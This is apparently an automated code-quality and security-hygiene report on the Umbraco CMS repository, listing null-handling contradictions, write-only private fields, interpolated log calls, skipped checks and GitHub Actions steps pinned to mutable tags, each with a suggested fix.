Method: Roslyn syntax only, no semantic model: every logical-not whose operand is a parenthesised `||` chain of two or more disjuncts, flattened (a left-nested `a || b || c` read once would see `(a || b)` as one disjunct). A site enters the population on that shape alone. A finding additionally needs the disjuncts to DISAGREE in polarity: at least one bare boolean read — an identifier or member access, never an invocation, which is a predicate rather than a capability flag — and at least one `x != <constant>`, the only form that negates into an exact-value pin (`== null` negates into a looser requirement and is outside the fault set). Consistently-polarised disjunctions, all-fault or all-capability, are counted and never reported; a negated `&&` is outside the population entirely. No same-receiver gate: it was measured to cost a real defect and remove no false positive. Deterministic, provable per finding. Advisory.
Do you agree with this assessment?
X32 · Type resolved by simple name across every loaded assembly10.0 / 10Exemplary○ Nothing flagged
Other · Code Health — Whether a plugin lookup names the type it means — searching every assembly loaded into the process for a candidate whose SIMPLE name equals a string supplied at runtime, and taking the first one found, is decided by assembly LOAD ORDER rather than by this source, so the same name can resolve to a different type on the next run.
Method: Roslyn syntax only, no semantic model: every invocation of `First`/`FirstOrDefault`/`Single`/`SingleOrDefault` whose OWN expression subtree contains both a `GetAssemblies()` call and a `GetTypes()`/`GetExportedTypes()` call — a single-element pick out of every type loaded into the process. A nested selector in the same chain sees no `GetAssemblies()` in its own subtree and is outside the population, so one lookup counts once however many links its chain has. A finding additionally needs both remaining halves: the selector must be `First`/`FirstOrDefault` (`Single`/`SingleOrDefault` reports the ambiguity rather than resolving it, and is counted and never reported), and the chain must carry an `==` comparison of `<lambda parameter>.Name` against something that is not a literal. The receiver must be a plain identifier bound by one of the chain’s own lambdas, which places `assembly.GetName().Name == "X"` outside the rule by construction. One exemption: a `.Name` test joined by `&&` to a `FullName`/`AssemblyQualifiedName` test on the same identifier is spared; joined by `||` it is not. Deterministic, provable per finding. Advisory.
Other · Code Health — Whether log calls use message templates (queryable) rather than interpolated strings.
Method: Roslyn syntax scan: every log call-site counted; interpolated-string first-argument violations flagged. Population is all log calls, not estimated. Deterministic.
Logging an interpolated string (`$"..."`) collapses the event to plain text — you lose the named, queryable properties structured logging exists for. Use a message template with placeholders: `LogInformation("User {UserId} did {Action}", id, action)`. If these calls go through a logging wrapper that only accepts a pre-formatted string, give the wrapper a template+args overload that forwards to the underlying logger, then migrate call sites to it. (×7) — src/Umbraco.Core/Services/DataTypeService.cs:469, src/Umbraco.Core/Services/LanguageService.cs:282, src/Umbraco.Infrastructure/Migrations/MigrationExpressionBase.cs:139, …
Other · Code Health — Whether nullable reference types are enabled and not undermined by heavy `!` suppression.
Method: Roslyn compiler-options scan: NullableContextOptions per project; null-forgiving (!) suppression density per 1k syntax nodes. Deterministic, adoption plus suppression penalty.
This method contradicts itself about `sf`: line 160 writes `sf?.CanonicalPath`, which says `sf` can be null, but line 123 then dereferences it directly as `sf.IsExist` with no null test between them and no guard around it. If the `?.` is right, that dereference throws NullReferenceException on the input it was written for; if `sf` truly cannot be null here, the `?.` is misleading. Settle it one way — test `sf` once before the first use and handle the null case, or drop the `?.` — rather than leaving the two readings side by side. — src/Umbraco.Core/IO/ShadowFileSystem.cs:123
This method contradicts itself about `sf`: line 257 writes `sf?.CanonicalPath`, which says `sf` can be null, but line 212 then dereferences it directly as `sf.IsDir` with no null test between them and no guard around it. If the `?.` is right, that dereference throws NullReferenceException on the input it was written for; if `sf` truly cannot be null here, the `?.` is misleading. Settle it one way — test `sf` once before the first use and handle the null case, or drop the `?.` — rather than leaving the two readings side by side. — src/Umbraco.Core/IO/ShadowFileSystem.cs:212
This method contradicts itself about `tf`: line 258 writes `tf?.CanonicalPath`, which says `tf` can be null, but line 220 then dereferences it directly as `tf.IsExist` with no null test between them and no guard around it. If the `?.` is right, that dereference throws NullReferenceException on the input it was written for; if `tf` truly cannot be null here, the `?.` is misleading. Settle it one way — test `tf` once before the first use and handle the null case, or drop the `?.` — rather than leaving the two readings side by side. — src/Umbraco.Core/IO/ShadowFileSystem.cs:220
This method contradicts itself about `sf`: line 381 writes `sf?.CanonicalPath`, which says `sf` can be null, but line 344 then dereferences it directly as `sf.IsExist` with no null test between them and no guard around it. If the `?.` is right, that dereference throws NullReferenceException on the input it was written for; if `sf` truly cannot be null here, the `?.` is misleading. Settle it one way — test `sf` once before the first use and handle the null case, or drop the `?.` — rather than leaving the two readings side by side. — src/Umbraco.Core/IO/ShadowFileSystem.cs:344
This method contradicts itself about `editedInfos`: line 103 writes `editedInfos?.Name`, which says `editedInfos` can be null, but line 98 then dereferences it directly as `editedInfos.IsDirty` with no null test between them and no guard around it. If the `?.` is right, that dereference throws NullReferenceException on the input it was written for; if `editedInfos` truly cannot be null here, the `?.` is misleading. Settle it one way — test `editedInfos` once before the first use and handle the null case, or drop the `?.` — rather than leaving the two readings side by side. — src/Umbraco.Core/Models/ContentRepositoryExtensions.cs:98
This method contradicts itself about `value`: line 480 writes `value?.ToString`, which says `value` can be null, but line 498 then dereferences it directly as `value.TryConvertTo` with no null test between them and no guard around it. If the `?.` is right, that dereference throws NullReferenceException on the input it was written for; if `value` truly cannot be null here, the `?.` is misleading. Settle it one way — test `value` once before the first use and handle the null case, or drop the `?.` — rather than leaving the two readings side by side. — src/Umbraco.Core/Models/Property.cs:498
This method contradicts itself about `stringValue`: line 124 assigns it with `as string`, which hands back null rather than throwing when the value is not a `string`, but line 126 then dereferences it directly as `stringValue.IsNullOrWhiteSpace` with no null test between them and no guard around it. If the `as` is right, that dereference throws NullReferenceException on the input it was written for — and the NullReferenceException names neither the cast nor the type that failed. Settle it one way — test `stringValue` once before the first use and handle the null case, or cast with `(string)` so the failure is reported where it happens — rather than leaving the two readings side by side. — src/Umbraco.Core/PropertyEditors/ContentPickerPropertyEditor.cs:126
This method contradicts itself about `value`: line 64 assigns it with `as string`, which hands back null rather than throwing when the value is not a `string`, but line 65 then dereferences it directly as `value.IsNullOrWhiteSpace` with no null test between them and no guard around it. If the `as` is right, that dereference throws NullReferenceException on the input it was written for — and the NullReferenceException names neither the cast nor the type that failed. Settle it one way — test `value` once before the first use and handle the null case, or cast with `(string)` so the failure is reported where it happens — rather than leaving the two readings side by side. — src/Umbraco.Core/PropertyEditors/ValueConverters/ElementPickerValueConverter.cs:65
This method contradicts itself about `source`: line 106 writes `source?.Id`, which says `source` can be null, but line 103 then dereferences it directly as `source.GetPropertyAliasesReservedByDescendants` with no null test between them and no guard around it. If the `?.` is right, that dereference throws NullReferenceException on the input it was written for; if `source` truly cannot be null here, the `?.` is misleading. Settle it one way — test `source` once before the first use and handle the null case, or drop the `?.` — rather than leaving the two readings side by side. — src/Umbraco.Core/Services/ContentTypeServiceExtensions.cs:103
This method contradicts itself about `infoElement`: line 1195 writes `infoElement?.`, which says `infoElement` can be null, but line 1184 then dereferences it directly as `infoElement.Element` with no null test between them and no guard around it. If the `?.` is right, that dereference throws NullReferenceException on the input it was written for; if `infoElement` truly cannot be null here, the `?.` is misleading. Settle it one way — test `infoElement` once before the first use and handle the null case, or drop the `?.` — rather than leaving the two readings side by side. — src/Umbraco.Infrastructure/Packaging/PackageDataInstallation.cs:1184
This method contradicts itself about `allowedTemplates`: line 1390 writes `allowedTemplates?.Any`, which says `allowedTemplates` can be null, but line 1395 then dereferences it directly as `allowedTemplates.Add` with no null test between them and no guard around it. If the `?.` is right, that dereference throws NullReferenceException on the input it was written for; if `allowedTemplates` truly cannot be null here, the `?.` is misleading. Settle it one way — test `allowedTemplates` once before the first use and handle the null case, or drop the `?.` — rather than leaving the two readings side by side. — src/Umbraco.Infrastructure/Packaging/PackageDataInstallation.cs:1395
This method contradicts itself about `database`: line 46 writes `database?.ExecuteScalar`, which says `database` can be null, but line 57 then dereferences it directly as `database.ExecuteScalar` with no null test between them and no guard around it. If the `?.` is right, that dereference throws NullReferenceException on the input it was written for; if `database` truly cannot be null here, the `?.` is misleading. Settle it one way — test `database` once before the first use and handle the null case, or drop the `?.` — rather than leaving the two readings side by side. — src/Umbraco.Infrastructure/Persistence/Repositories/Implement/IdKeyMapRepository.cs:57
This method contradicts itself about `templatedContent`: line 1389 assigns it with `as ITemplatedContent`, which hands back null rather than throwing when the value is not a `ITemplatedContent`, but line 1396 then dereferences it directly as `templatedContent.TemplateId` with no null test between them and no guard around it. If the `as` is right, that dereference throws NullReferenceException on the input it was written for — and the NullReferenceException names neither the cast nor the type that failed. Settle it one way — test `templatedContent` once before the first use and handle the null case, or cast with `(ITemplatedContent)` so the failure is reported where it happens — rather than leaving the two readings side by side. — src/Umbraco.Infrastructure/Persistence/Repositories/Implement/PublishableContentRepositoryBase.cs:1396
This method contradicts itself about `database`: line 355 writes `database?.Count`, which says `database` can be null, but line 284 then dereferences it directly as `database.SqlContext` with no null test between them and no guard around it. If the `?.` is right, that dereference throws NullReferenceException on the input it was written for; if `database` truly cannot be null here, the `?.` is misleading. Settle it one way — test `database` once before the first use and handle the null case, or drop the `?.` — rather than leaving the two readings side by side. — src/Umbraco.Infrastructure/Persistence/Repositories/Implement/TrackedReferencesRepository.cs:284
This method contradicts itself about `blockEditorData`: line 118 writes `blockEditorData?.BlockValue`, which says `blockEditorData` can be null, but line 125 then dereferences it directly as `blockEditorData.BlockValue` with no null test between them and no guard around it. If the `?.` is right, that dereference throws NullReferenceException on the input it was written for; if `blockEditorData` truly cannot be null here, the `?.` is misleading. Settle it one way — test `blockEditorData` once before the first use and handle the null case, or drop the `?.` — rather than leaving the two readings side by side. — src/Umbraco.Infrastructure/PropertyEditors/BlockEditorPropertyValueEditor.cs:125
This method contradicts itself about `frequest`: line 188 writes `frequest?.`, which says `frequest` can be null, but line 118 then dereferences it directly as `frequest.Domain` with no null test between them and no guard around it. If the `?.` is right, that dereference throws NullReferenceException on the input it was written for; if `frequest` truly cannot be null here, the `?.` is misleading. Settle it one way — test `frequest` once before the first use and handle the null case, or drop the `?.` — rather than leaving the two readings side by side. — src/Umbraco.Infrastructure/Routing/ContentFinderByConfigured404.cs:118
This branch was entered because `member` is null — line 134 says so — and line 137 inside it then writes `member?.`, which asks the same question again. Nothing here can throw, but nothing here can vary either: the access is never taken and the expression is null every time. The conditional is dead code, and it misleads the reader into thinking this line can show a value. Say what is actually true on this path — write the constant the expression always produces, or drop the branch's guard if `member` was not meant to be null here. — src/Umbraco.Web.Website/Controllers/UmbProfileController.cs:137
This branch was entered because `member` is null — line 150 says so — and line 153 inside it then writes `member?.`, which asks the same question again. Nothing here can throw, but nothing here can vary either: the access is never taken and the expression is null every time. The conditional is dead code, and it misleads the reader into thinking this line can show a value. Say what is actually true on this path — write the constant the expression always produces, or drop the branch's guard if `member` was not meant to be null here. — src/Umbraco.Web.Website/Controllers/UmbRegisterController.cs:153
~0.7 `!` suppressions per 1k syntax nodes — 1131 suppression(s) across the 1512705 syntax node(s) in code where nullable warnings are ENABLED, which is the only code a `!` can suppress anything in (a `!` under `#nullable disable` is inert and is not counted, and its file's nodes are not in the denominator). Each one tells the compiler to trust you about null, suppressing the very safety NRTs provide.
What to do
Where a method uses `?.` on a symbol and then dereferences it directly, settle the question once: test it before the first use and handle null, or drop the `?.`.
Where a branch has already proved a symbol null, drop the `?.`/`??` written inside it and say what that path actually produces — the conditional cannot fire, and it reads as though the value might be there.
Enable <Nullable>enable</Nullable> across all projects and resolve warnings rather than suppressing with `!`.
Do you agree with this assessment?
WCAG coverage — what static analysis assessed
Statically assessed 13 of 55 WCAG 2.2 Level A/AA success criteria (24%; ≈26% of the 50 WCAG 2.1 AA criteria for EN 301 549). The other 42 require runtime or manual evaluation. Partial signal only (a clean result is necessary, not sufficient; static analysis fully verifies none). This is accessibility readiness, not a conformance claim — a WCAG conformance claim requires manual evaluation (WCAG-EM 1.0).
The score is the rank-weighted fold of these lenses (worst-heaviest), each including its meta-dimensions; a lens with a Critical contributor is capped at Fair (its band reads "gated by …") and is never the strongest area however high its average.
Unscored — 2 check(s) recorded observations but carry no score
These checks ran and found something, but they do not carry a score — either by design (an advisory check reports evidence rather than grading it) or because they could not be scored here. They are excluded from the score for that reason, not because there was nothing to see.
X10 Duplicated predicate — 6 observation(s) recorded · Advisory — this card reports evidence and never carries a score.
X7 Silent fallback defaults — 1 observation(s) recorded · Advisory — this card reports evidence and never carries a score.
Not evidenced — 1 control(s) we could not find positive evidence for
These checks grade a working control, and the repository shows no evidence of one. That is deliberately not scored as a zero: a repository cannot show an ops runbook, a database TTL or an infrastructure-side audit log, so absence of evidence here is not evidence the control is missing. It is also not a statement that the check is irrelevant to this codebase — the thing it grades applies; we just could not see it. Excluded from the score either way.
C5 Data-Subject Rights — Repo shows no corroborated data-subject-rights mechanism (erasure / export-portability / consent) tied to a subject id or GDPR vocabulary — absence of evidence is not evidence of a working control. Implement erasure, data export/portability and consent tracking over the subject's records.
Not included — 22 check(s) not relevant to this codebase
These checks had nothing to measure here (no tests, no git history, the codebase is small, or the architecture style doesn't apply), so they're omitted above rather than scored low.
AC4 Keyboard semantics — AC4 could not be measured here. This repository renders user interface from tagged-template markup — 1000 script file(s) holding 2707 html`…` template(s), 5819 markup element(s) and 1029 event binding(s) (e.g. templates/UmbracoExtension/Client/src/dashboards/dashboard.element.ts, src/Umbraco.Web.UI.Login/src/auth.element.ts, src/Umbraco.Web.UI.Login/src/components/back-to-login-button.element.ts) — which this analyzer's markup model does not read (it reads .html/.htm/.cshtml/.razor/.vue/.svelte/.jsx/.tsx), so no interactive element from it could enter the population. The parsed markup carried none either, but that is a gap in our frontend coverage, NOT a statement that this repository has no interactive element.
AX4 Dependency direction — not applicable to a vertical-slice + CQRS architecture (the inward-dependency rule is for layered/clean styles)
AX9 CQS / query purity — 16 query handlers detected, but none of their entry-point bodies could be walked — the query-purity oracle recognises only Execute/Handle/Consume (±Async) entry points, so this codebase's handlers were classified but never read. This is an engine limitation, not a finding about the repository.
AXB2 Runtime readiness — Advisory — this card reports evidence and never carries a score, so there is nothing missing here.
D18 Solution Shape — D18 scores the shape of a C#/VB .NET solution, but this repository's production source is mostly .ts, which the C#/VB workspace does not load — the projects that loaded are an immaterial minority, so solution shape was not assessed for this repository. Not scored — this is a gap in the analyzer's reach, not a verdict about this repository.
D23 Boundary Type-Coupling — Cross-context type coupling could not be assessed — this codebase's bounded contexts are neither declared nor inferable.
D25 ADR Conformance — no ADRs to check
D32 Data Compliance (PII/GDPR) — 447 file(s) were not parsed by semgrep — the PII/GDPR ruleset never ran over them
D37 Vulnerability-disclosure Policy — No vulnerability-disclosure policy file found (SECURITY.md/.markdown/.rst/.txt at root or under .github/.forgejo/.gitea/docs, .well-known/security.txt). A coordinated-disclosure policy may live off-repo, so this is not evidenced rather than failed.
D40 Network Egress Confinement — No Kubernetes/orchestration workloads found in the repository manifests; network egress policy is a cluster-native control that may live at the platform/firewall layer, so there is nothing to assess here.
D41 Kernel & Syscall Confinement — No Kubernetes/orchestration workloads found in the repository manifests; seccomp/AppArmor/SELinux confinement is a workload-level control, so there is nothing to assess here.
D42 Runtime Threat Enforcement — No Kubernetes/orchestration workloads found in the repository manifests; runtime threat-detection and admission-control policy are cluster-level controls, so there is nothing to assess here.
D7 Architectural Integrity — no checkable ADRs and no dependency cycles — architectural integrity not assessed
D8 Code Coverage — Coverage NOT MEASURED: `--collect:"XPlat Code Coverage"` names a data collector that ships in the `coverlet.collector` package, and this repository wires up none — no test project references it and no runsettings declares one. The absence of coverage here is therefore not evidence about the suite or about our analyzer environment: without a collector, `--collect` produces nothing even from a suite that builds and passes. Add a `coverlet.collector` PackageReference to the test project(s) (or commit the Cobertura/OpenCover/lcov report your CI produces) and real coverage will be measured. It is excluded from the score rather than counted as a near-zero defect.
DM1 Domain Modelling — applicable but not scored (2 of 3 signals for this style — below the bar we score at): 3 value object(s); 280 domain event(s)
ED1 Event-Driven — applicable but not scored (2 of 3 signals for this style — below the bar we score at): 298 event handler(s); 309 CQRS handler(s)
ES1 Event Sourcing — not scored — this repository shows none of the 3 signals this check looks for
P12 CI test-gate honesty — Reported, not scored — this card publishes what the CI gate does with the test inventory rather than grading it. The findings above are its output.
P9 Domain vs controller coverage — no coverage report found on disk — produce a coverage report in a standard format (Cobertura — `dotnet test --collect:"XPlat Code Coverage"` with a `coverlet.collector` PackageReference) into the repo working tree before the scan — a CI step is the usual place, since the artefact is commonly gitignored, or wire coverage collection into CI, to enable this cross-layer check
SC1 Supply-chain hygiene — Advisory — this card reports evidence and never carries a score, so there is nothing missing here.
X6 Hand-rolled structured-format parsing — Advisory — this card reports evidence and never carries a score, so there is nothing missing here.
X9 Subsumed condition operand — Advisory — this card reports evidence and never carries a score, so there is nothing missing here.
Appendix A — Findings (grouped)
The findings behind the scores, grouped by severity, then by dimension and kind. The high-severity issues are enumerated in full below; items per group are capped at 25 with any overflow stated explicitly per group, never silently truncated. The complete machine-readable list of every finding (all severities) is the companion findings.md in this report's bundle.
WriteOnlyPrivateField src/Umbraco.Cms.Api.Management/Controllers/BackOfficeLoginController.cs:19— private GlobalSettings _globalSettings — assigned 1 time(s), read never — this field is written and never read anywhere its type can be reached from, so the state it keeps answers no question: every assignment to it computes a value that nothing observes, on every instance, for the lifetime of each one. It reads as a flag the code branches on, and nothing branches on it. Delete the field and its assignments — or, if the value was MEANT to be consulted, the missing read is the defect this row is pointing at, and the branch that should have depended on it is not there.
WriteOnlyPrivateField tests/Umbraco.Tests.Integration/Umbraco.Infrastructure/Services/ContentServiceNotificationTests.cs:47— private GlobalSettings _globalSettings — assigned 1 time(s), read never — this field is written and never read anywhere its type can be reached from, so the state it keeps answers no question: every assignment to it computes a value that nothing observes, on every instance, for the lifetime of each one. It reads as a flag the code branches on, and nothing branches on it. Delete the field and its assignments — or, if the value was MEANT to be consulted, the missing read is the defect this row is pointing at, and the branch that should have depended on it is not there.
WriteOnlyPrivateField src/Umbraco.Cms.Api.Management/Controllers/Content/ContentCollectionControllerBase.cs:30— private IUmbracoMapper _mapper — assigned 1 time(s), read never — this field is written and never read anywhere its type can be reached from, so the state it keeps answers no question: every assignment to it computes a value that nothing observes, on every instance, for the lifetime of each one. It reads as a flag the code branches on, and nothing branches on it. Delete the field and its assignments — or, if the value was MEANT to be consulted, the missing read is the defect this row is pointing at, and the branch that should have depended on it is not there.
WriteOnlyPrivateField src/Umbraco.Cms.Api.Management/Factories/TemplatePresentationFactory.cs:15— private IUmbracoMapper _mapper — assigned 1 time(s), read never — this field is written and never read anywhere its type can be reached from, so the state it keeps answers no question: every assignment to it computes a value that nothing observes, on every instance, for the lifetime of each one. It reads as a flag the code branches on, and nothing branches on it. Delete the field and its assignments — or, if the value was MEANT to be consulted, the missing read is the defect this row is pointing at, and the branch that should have depended on it is not there.
WriteOnlyPrivateField src/Umbraco.Cms.Api.Management/Controllers/Content/ContentCollectionControllerBase.cs:31— private FlagProviderCollection _flagProviders — assigned 1 time(s), read never — this field is written and never read anywhere its type can be reached from, so the state it keeps answers no question: every assignment to it computes a value that nothing observes, on every instance, for the lifetime of each one. It reads as a flag the code branches on, and nothing branches on it. Delete the field and its assignments — or, if the value was MEANT to be consulted, the missing read is the defect this row is pointing at, and the branch that should have depended on it is not there.
WriteOnlyPrivateField src/Umbraco.Cms.Api.Management/Controllers/Document/RecycleBin/OriginalParentDocumentRecycleBinController.cs:27— private IDocumentPresentationFactory _documentPresentationFactory — assigned 1 time(s), read never — this field is written and never read anywhere its type can be reached from, so the state it keeps answers no question: every assignment to it computes a value that nothing observes, on every instance, for the lifetime of each one. It reads as a flag the code branches on, and nothing branches on it. Delete the field and its assignments — or, if the value was MEANT to be consulted, the missing read is the defect this row is pointing at, and the branch that should have depended on it is not there.
WriteOnlyPrivateField src/Umbraco.Cms.Api.Management/Controllers/Media/RecycleBin/OriginalParentMediaRecycleBinController.cs:26— private IMediaPresentationFactory _mediaPresentationFactory — assigned 1 time(s), read never — this field is written and never read anywhere its type can be reached from, so the state it keeps answers no question: every assignment to it computes a value that nothing observes, on every instance, for the lifetime of each one. It reads as a flag the code branches on, and nothing branches on it. Delete the field and its assignments — or, if the value was MEANT to be consulted, the missing read is the defect this row is pointing at, and the branch that should have depended on it is not there.
WriteOnlyPrivateField src/Umbraco.Cms.Api.Management/Controllers/Webhook/DeleteWebhookController.cs:19— private IBackOfficeSecurityAccessor _backOfficeSecurityAccessor — assigned 1 time(s), read never — this field is written and never read anywhere its type can be reached from, so the state it keeps answers no question: every assignment to it computes a value that nothing observes, on every instance, for the lifetime of each one. It reads as a flag the code branches on, and nothing branches on it. Delete the field and its assignments — or, if the value was MEANT to be consulted, the missing read is the defect this row is pointing at, and the branch that should have depended on it is not there.
WriteOnlyPrivateField src/Umbraco.Core/Services/MetricsConsentService.cs:20— private IBackOfficeSecurityAccessor _backOfficeSecurityAccessor — assigned 1 time(s), read never — this field is written and never read anywhere its type can be reached from, so the state it keeps answers no question: every assignment to it computes a value that nothing observes, on every instance, for the lifetime of each one. It reads as a flag the code branches on, and nothing branches on it. Delete the field and its assignments — or, if the value was MEANT to be consulted, the missing read is the defect this row is pointing at, and the branch that should have depended on it is not there.
WriteOnlyPrivateField src/Umbraco.Core/Services/WebProfilerService.cs:11— private IBackOfficeSecurityAccessor _backOfficeSecurityAccessor — assigned 1 time(s), read never — this field is written and never read anywhere its type can be reached from, so the state it keeps answers no question: every assignment to it computes a value that nothing observes, on every instance, for the lifetime of each one. It reads as a flag the code branches on, and nothing branches on it. Delete the field and its assignments — or, if the value was MEANT to be consulted, the missing read is the defect this row is pointing at, and the branch that should have depended on it is not there.
WriteOnlyPrivateField src/Umbraco.Cms.Api.Management/Factories/AuditLogPresentationFactory.cs:15— private IUserService _userService — assigned 1 time(s), read never — this field is written and never read anywhere its type can be reached from, so the state it keeps answers no question: every assignment to it computes a value that nothing observes, on every instance, for the lifetime of each one. It reads as a flag the code branches on, and nothing branches on it. Delete the field and its assignments — or, if the value was MEANT to be consulted, the missing read is the defect this row is pointing at, and the branch that should have depended on it is not there.
WriteOnlyPrivateField src/Umbraco.Core/Security/ContentPermissions.cs:40— private IUserService _userService — assigned 1 time(s), read never — this field is written and never read anywhere its type can be reached from, so the state it keeps answers no question: every assignment to it computes a value that nothing observes, on every instance, for the lifetime of each one. It reads as a flag the code branches on, and nothing branches on it. Delete the field and its assignments — or, if the value was MEANT to be consulted, the missing read is the defect this row is pointing at, and the branch that should have depended on it is not there.
WriteOnlyPrivateField src/Umbraco.Core/Services/MetricsConsentService.cs:21— private IUserService _userService — assigned 1 time(s), read never — this field is written and never read anywhere its type can be reached from, so the state it keeps answers no question: every assignment to it computes a value that nothing observes, on every instance, for the lifetime of each one. It reads as a flag the code branches on, and nothing branches on it. Delete the field and its assignments — or, if the value was MEANT to be consulted, the missing read is the defect this row is pointing at, and the branch that should have depended on it is not there.
WriteOnlyPrivateField src/Umbraco.Cms.Persistence.Sqlite/Services/SqliteSyntaxProvider.cs:28— private IOptions<GlobalSettings> _globalSettings — assigned 1 time(s), read never — this field is written and never read anywhere its type can be reached from, so the state it keeps answers no question: every assignment to it computes a value that nothing observes, on every instance, for the lifetime of each one. It reads as a flag the code branches on, and nothing branches on it. Delete the field and its assignments — or, if the value was MEANT to be consulted, the missing read is the defect this row is pointing at, and the branch that should have depended on it is not there.
WriteOnlyPrivateField src/Umbraco.Infrastructure/Persistence/UmbracoDatabaseFactory.cs:37— private IOptions<GlobalSettings> _globalSettings — assigned 1 time(s), read never — this field is written and never read anywhere its type can be reached from, so the state it keeps answers no question: every assignment to it computes a value that nothing observes, on every instance, for the lifetime of each one. It reads as a flag the code branches on, and nothing branches on it. Delete the field and its assignments — or, if the value was MEANT to be consulted, the missing read is the defect this row is pointing at, and the branch that should have depended on it is not there.
WriteOnlyPrivateField src/Umbraco.Core/Routing/PublishedRequestOld.cs:25— private IPublishedRouter _publishedRouter — assigned 1 time(s), read never — this field is written and never read anywhere its type can be reached from, so the state it keeps answers no question: every assignment to it computes a value that nothing observes, on every instance, for the lifetime of each one. It reads as a flag the code branches on, and nothing branches on it. Delete the field and its assignments — or, if the value was MEANT to be consulted, the missing read is the defect this row is pointing at, and the branch that should have depended on it is not there.
WriteOnlyPrivateField src/Umbraco.Core/Routing/PublishedRequestOld.cs:26— private WebRoutingSettings _webRoutingSettings — assigned 1 time(s), read never — this field is written and never read anywhere its type can be reached from, so the state it keeps answers no question: every assignment to it computes a value that nothing observes, on every instance, for the lifetime of each one. It reads as a flag the code branches on, and nothing branches on it. Delete the field and its assignments — or, if the value was MEANT to be consulted, the missing read is the defect this row is pointing at, and the branch that should have depended on it is not there.
WriteOnlyPrivateField src/Umbraco.Core/Runtime/MainDom.cs:42— private Task? _listenCompleteTask — assigned 1 time(s), read never — this field is written and never read anywhere its type can be reached from, so the state it keeps answers no question: every assignment to it computes a value that nothing observes, on every instance, for the lifetime of each one. It reads as a flag the code branches on, and nothing branches on it. Delete the field and its assignments — or, if the value was MEANT to be consulted, the missing read is the defect this row is pointing at, and the branch that should have depended on it is not there.
WriteOnlyPrivateField src/Umbraco.Core/Security/ContentPermissions.cs:15— private AppCaches _appCaches — assigned 1 time(s), read never — this field is written and never read anywhere its type can be reached from, so the state it keeps answers no question: every assignment to it computes a value that nothing observes, on every instance, for the lifetime of each one. It reads as a flag the code branches on, and nothing branches on it. Delete the field and its assignments — or, if the value was MEANT to be consulted, the missing read is the defect this row is pointing at, and the branch that should have depended on it is not there.
WriteOnlyPrivateField tests/Umbraco.Tests.Integration/Umbraco.Infrastructure/Persistence/Repositories/ServerRegistrationRepositoryTest.cs:29— private AppCaches _appCaches — assigned 1 time(s), read never — this field is written and never read anywhere its type can be reached from, so the state it keeps answers no question: every assignment to it computes a value that nothing observes, on every instance, for the lifetime of each one. It reads as a flag the code branches on, and nothing branches on it. Delete the field and its assignments — or, if the value was MEANT to be consulted, the missing read is the defect this row is pointing at, and the branch that should have depended on it is not there.
WriteOnlyPrivateField src/Umbraco.Core/Security/ContentPermissions.cs:38— private IContentService _contentService — assigned 1 time(s), read never — this field is written and never read anywhere its type can be reached from, so the state it keeps answers no question: every assignment to it computes a value that nothing observes, on every instance, for the lifetime of each one. It reads as a flag the code branches on, and nothing branches on it. Delete the field and its assignments — or, if the value was MEANT to be consulted, the missing read is the defect this row is pointing at, and the branch that should have depended on it is not there.
WriteOnlyPrivateField src/Umbraco.Core/Security/ContentPermissions.cs:39— private IEntityService _entityService — assigned 1 time(s), read never — this field is written and never read anywhere its type can be reached from, so the state it keeps answers no question: every assignment to it computes a value that nothing observes, on every instance, for the lifetime of each one. It reads as a flag the code branches on, and nothing branches on it. Delete the field and its assignments — or, if the value was MEANT to be consulted, the missing read is the defect this row is pointing at, and the branch that should have depended on it is not there.
WriteOnlyPrivateField src/Umbraco.Core/Services/ContentPublishingServiceBase.cs:27— private ILogger<ContentPublishingServiceBase<TContent, TContentService>> _logger — assigned 1 time(s), read never — this field is written and never read anywhere its type can be reached from, so the state it keeps answers no question: every assignment to it computes a value that nothing observes, on every instance, for the lifetime of each one. It reads as a flag the code branches on, and nothing branches on it. Delete the field and its assignments — or, if the value was MEANT to be consulted, the missing read is the defect this row is pointing at, and the branch that should have depended on it is not there.
WriteOnlyPrivateField src/Umbraco.Core/Services/DictionaryItemService.cs:20— private IUserIdKeyResolver _userIdKeyResolver — assigned 1 time(s), read never — this field is written and never read anywhere its type can be reached from, so the state it keeps answers no question: every assignment to it computes a value that nothing observes, on every instance, for the lifetime of each one. It reads as a flag the code branches on, and nothing branches on it. Delete the field and its assignments — or, if the value was MEANT to be consulted, the missing read is the defect this row is pointing at, and the branch that should have depended on it is not there.
WriteOnlyPrivateField src/Umbraco.Core/Services/EntityTypeContainerService.cs:28— private IUserIdKeyResolver _userIdKeyResolver — assigned 1 time(s), read never — this field is written and never read anywhere its type can be reached from, so the state it keeps answers no question: every assignment to it computes a value that nothing observes, on every instance, for the lifetime of each one. It reads as a flag the code branches on, and nothing branches on it. Delete the field and its assignments — or, if the value was MEANT to be consulted, the missing read is the defect this row is pointing at, and the branch that should have depended on it is not there.
High: github-actions-mutable-action-tag .github/workflows/azure-backoffice.yml:26— GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@<40-character SHA>`. This step references `actions/checkout@v6`; resolve the SHA it points at today with `gh api repos/actions/checkout/commits/v6 --jq .sha`.
High: github-actions-mutable-action-tag .github/workflows/azure-backoffice.yml:30— GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/setup-node@<40-character SHA>`. This step references `actions/setup-node@v4`; resolve the SHA it points at today with `gh api repos/actions/setup-node/commits/v4 --jq .sha`.
High: github-actions-mutable-action-tag .github/workflows/azure-backoffice.yml:50— GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: Azure/static-web-apps-deploy@<40-character SHA>`. This step references `Azure/static-web-apps-deploy@v1`; resolve the SHA it points at today with `gh api repos/Azure/static-web-apps-deploy/commits/v1 --jq .sha`.
